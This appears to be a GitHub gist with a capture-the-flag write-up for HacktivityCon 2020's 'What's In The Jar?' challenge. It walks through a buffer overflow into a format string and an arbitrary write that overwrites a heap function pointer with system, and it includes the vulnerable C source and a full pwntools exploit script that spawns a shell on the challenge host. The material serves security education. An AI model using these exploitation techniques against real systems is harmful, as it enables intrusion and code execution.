Skip to content

Instantly share code, notes, and snippets.

@syndrill
Created July 31, 2020 20:29
Show Gist options
  • Save syndrill/c39d0df167405c606ebd52fa48b0fb86 to your computer and use it in GitHub Desktop.
Save syndrill/c39d0df167405c606ebd52fa48b0fb86 to your computer and use it in GitHub Desktop.
HacktivityCon CTF 2020 - What's In The Jar? Writeup

What's in The Jar?

Challenge your friends to a classic game of "What's in the jar"!

Connect with:
nc jh2i.com 50030

The challenge itself doesn't have any source attached, but when you solve the challenge you'll notice there's src/ folder which I have included for simplicity.

Fill your jars, then start the game and see if your friends can guess where the prize is!
Main Menu:
1. Add a jar
2. Remove Jar
3. View Jars
4. Modify Jar
5. Start Game
6. Set Answer
Choice:

The program almost looks like a heap note challenge where there's add, delete, edit, and view. There are 2 added functionality, which is set answer and start the game. Set Answer basically malloc a struct which contain functions pointer and set the index of jar which will be the key to correct answer when start the game. Start Game is just execute the function from the pointer with the parameter in it.

By analyzing the main function from binary in ghidra, you'll notice there's an inlined strcpy at the beginning, It turns out the string will be used for printf as format string.

...
  format_string._0_8_ = 0x746e6f432072614a;
  format_string._8_8_ = 0x7325203a73746e65;
  format_string[16] = '\0';
...
  case 3:
    i = 0;
    while ((uint)i < njars) {
      printf(format_string,jars[i],jars[i]);
      i = i + 1;
    }
    break;
...  

This is useful for later (fmt string) if we chain this with another bug, which is buffer overflow.

...
  char buffer [32];
  char format_string [17];
...
    default:
LAB_004008ae:
      puts("Choice: ");
      fgets(buffer,0x28,stdin);
      choice = atoi(buffer);
      goto LAB_004008e5;
    }
...

Notice that our buffer is [32] while the input is 0x28 or 40 in decimal. This is perfect because format_string is aligned next to our buffer.

Ok, that's a cool 8 byte controlled fmt string payload. But, the thing is our input uses fgets which include a null byte at the end of input, :| Now we only have 7 byte controlled fmt string payload, is that enough? absolutely.

The idea is to use %s%..$hn and %c%..$hn instead of %Nc%..$hhn (where N is our desired target data), also, because printf is called with

  printf(format_string,jars[i],jars[i]);

This is easier for us because we don't need any addr leak to be used for our %s payload. Just edit the last jar with a string length match our desired target data.

We do need a libc leak for system though, and again since we have fmt string just locate the __libc_start_main_ret offset in the stack then we are good to go.

Although we have fmt string, we only have 7 byte as the payload which only enough for a %s%9hn, a 2 byte wide write and our jar only fit to 0xF8 bytes which is 1 byte wide with %s. Even if we have an overwrite it's 1 only byte with a null byte appended. To visualize what is happening with write64, suppose we want to overwrite a value to 0xdeadbeef at some address

0x603250  01 02 03 04  05 06 07 08  09 0a 0b 0c  0d 0e 0f 10

... write8(0x603250, 0xef)
0x603250  ef 00 03 04  05 06 07 08  09 0a 0b 0c  0d 0e 0f 10

... write8(0x603251, 0xbe)
0x603250  ef be 00 04  05 06 07 08  09 0a 0b 0c  0d 0e 0f 10

... write8(0x603252, 0xad)
0x603250  ef be ad 00  05 06 07 08  09 0a 0b 0c  0d 0e 0f 10

... write8(0x603253, 0xde)
0x603250  ef be ad de  00 06 07 08  09 0a 0b 0c  0d 0e 0f 10

With that we have a powerfull arbitrary write, the last step is only overwrite function pointer in the heap to system and start the game.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define ADD_JAR 1
#define REMOVE_JAR 2
#define VIEW_JARS 3
#define MODIFY_JAR 4
#define START_GAME 5
#define SET_ANSWER 6
typedef struct _answer {
void(*action)(const char*);
char* jar;
} answer_t;
const char* g_jar = \
" _____\n" \
" `.___,'\n" \
" (___)\n" \
" < >\n" \
" ) (\n" \
" /`-.\\\n" \
" / \\\n" \
" / _ _\\\n" \
" :,' `-.' `:\n" \
" | |\n" \
" : ;\n" \
" \\ /\n" \
" `.___.'";
void do_win( const char* contents )
{
printf("Congratulations! You won %s\n", contents);
}
void do_lose( const char* contents )
{
printf("Sorry, you lost. As a consolation, you can have %s\n", contents);
}
int main(int argc, char * argv[]) {
unsigned int njars = 0;
char* jars[64];
char format_string[] = "Jar Contents: %s";
char buffer[32];
int choice;
answer_t* correct_answer;
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
puts(g_jar);
puts("\nFill your jars, then start the game and " \
"see if your friends can guess where the prize is!");
while ( 1 ) {
printf("Main Menu:\n1. Add a jar\n2. Remove Jar\n3. View Jars\n4. Modify Jar\n5. Start Game\n6. Set Answer\n");
choice = -1;
while ( choice < 1 || choice > 6 ) {
puts("Choice: ");
fgets(buffer, 40, stdin);
choice = atoi(buffer);
}
switch(choice)
{
case ADD_JAR:
// Ensure we have room
if( njars >= 64 ){
puts("No more room for jars :(");
continue;
}
// Create a new jar
jars[njars] = malloc(0xf8);
// Read in the new contents
printf("Jar Contents: ");
fgets(jars[njars], 0xf9, stdin);
// Increment the pointer
njars++;
break;
case REMOVE_JAR:
puts("Which Jar? ");
fgets(buffer, 32, stdin);
choice = atoi(buffer);
if( choice < 0 || choice >= njars || jars[choice] == NULL ) {
puts("Invalid jar!");
} else {
free(jars[choice]);
jars[choice] = NULL;
}
break;
case VIEW_JARS:
// Show the
for(int i = 0; i < njars; i++){
printf(format_string, jars[i]);
}
break;
case MODIFY_JAR:
puts("Which Jar? ");
fgets(buffer, 32, stdin);
choice = atoi(buffer);
if( choice < 0 || choice >= njars || jars[choice] == NULL ) {
puts("Invalid jar!");
} else {
puts("Jar Contents: ");
fgets(jars[choice], 0xf9, stdin);
}
break;
case SET_ANSWER:
// Allocate the answer structure
correct_answer = malloc(0x100);
puts("Which jar should win? ");
fgets(buffer, 32, stdin);
choice = atoi(buffer);
if ( choice < 0 || choice >= njars || jars[choice] == NULL ) {
puts("Invalid jar!");
break;
}
// Fill the answer structure
correct_answer->action = do_win;
correct_answer->jar = jars[choice];
printf("Answer: %p", correct_answer);
break;
case START_GAME:
// Clear the screen
printf("\x1B[1J");
printf("Which jar do you think has the prize? (%d-%d)\n", 0, njars-1);
fgets(buffer, 32, stdin);
choice = atoi(buffer);
if( choice < 0 || choice >= njars || jars[choice] == NULL ){
puts("Invalid jar!");
do_lose("Absolutely nothing.");
} else if ( jars[choice] != correct_answer->jar ) {
do_lose(jars[choice]);
} else {
correct_answer->action(jars[choice]);
}
break;
}
}
}
#!/usr/bin/env python
# coding: utf8
from pwn import *
# context.arch = "amd64"
# context.log_level = "debug" # debug, info, warn
context.terminal = ["tmux", "splitw", "-h"]
BINARY = "./jar"
HOST = "jh2i.com"
PORT = 50030
elf = ELF(BINARY, checksec=False)
uu64 = lambda x: u64(x.ljust(8, b"\x00"))
uu32 = lambda x: u32(x.ljust(4, b"\x00"))
def attach(r):
gdbscript = [
'b *0x400C56',
'b *0x400A21',
]
if type(r) == process:
gdb.attach(r, '\n'.join(gdbscript))
def add(content):
r.sendlineafter("Choice: \n", b"1")
r.sendafter(": ", content)
def free(idx):
r.sendlineafter("Choice: \n", b"2")
r.sendlineafter("? \n", str(idx))
def edit(idx, content):
r.sendlineafter("Choice: \n", b"4")
r.sendlineafter("? \n", str(idx))
r.sendafter(": \n", content)
def write8(addr, data):
data = data & 0xFF
assert(data < 0xF8)
if data > 1:
edit(0, b"A" * (data - 1) + b"\n")
r.sendlineafter("Choice: \n", b"A" * 32 + b"%s%9$hn")
elif data == 1:
r.sendlineafter("Choice: \n", b"A" * 32 + b"%c%9$hn")
else:
r.sendlineafter("Choice: \n", b"A" * 32 + b"%9$hn")
r.sendlineafter("Choice: \n", p64(0) + p64(addr))
r.sendlineafter("Choice: \n", b"3")
def write64(addr, data):
for i in range(8):
write8(addr + i, data)
data >>= 8
if data == 0:
break
def exploit(r):
r.sendlineafter("Choice: \n", b"A" * 32 + b"%85$lx;")
add("AAAAAAAAAAAAAAAA\n")
r.sendlineafter("Choice: \n", b"3")
libc = int(r.recvuntil(";", 1), 16) - 0x020840 # __libc_start_main_ret
print("libc %x" % libc)
r.sendlineafter("Choice: \n", b"6")
r.sendlineafter("? \n", b"0")
r.recvuntil(": ")
heap = int(r.recvuntil("Main", 1), 16)
print("heap %x" % heap)
write64(heap, libc + 0x0453a0) # system
write64(heap + 8, heap - 0x100)
# attach(r)
edit(0, "/bin/sh\x00\n")
r.sendlineafter("Choice: \n", b"5")
r.sendlineafter(")\n", b"0")
if __name__ == '__main__':
if len(sys.argv) > 1:
r = remote(HOST, PORT)
else:
r = process(BINARY, aslr=0)
exploit(r)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment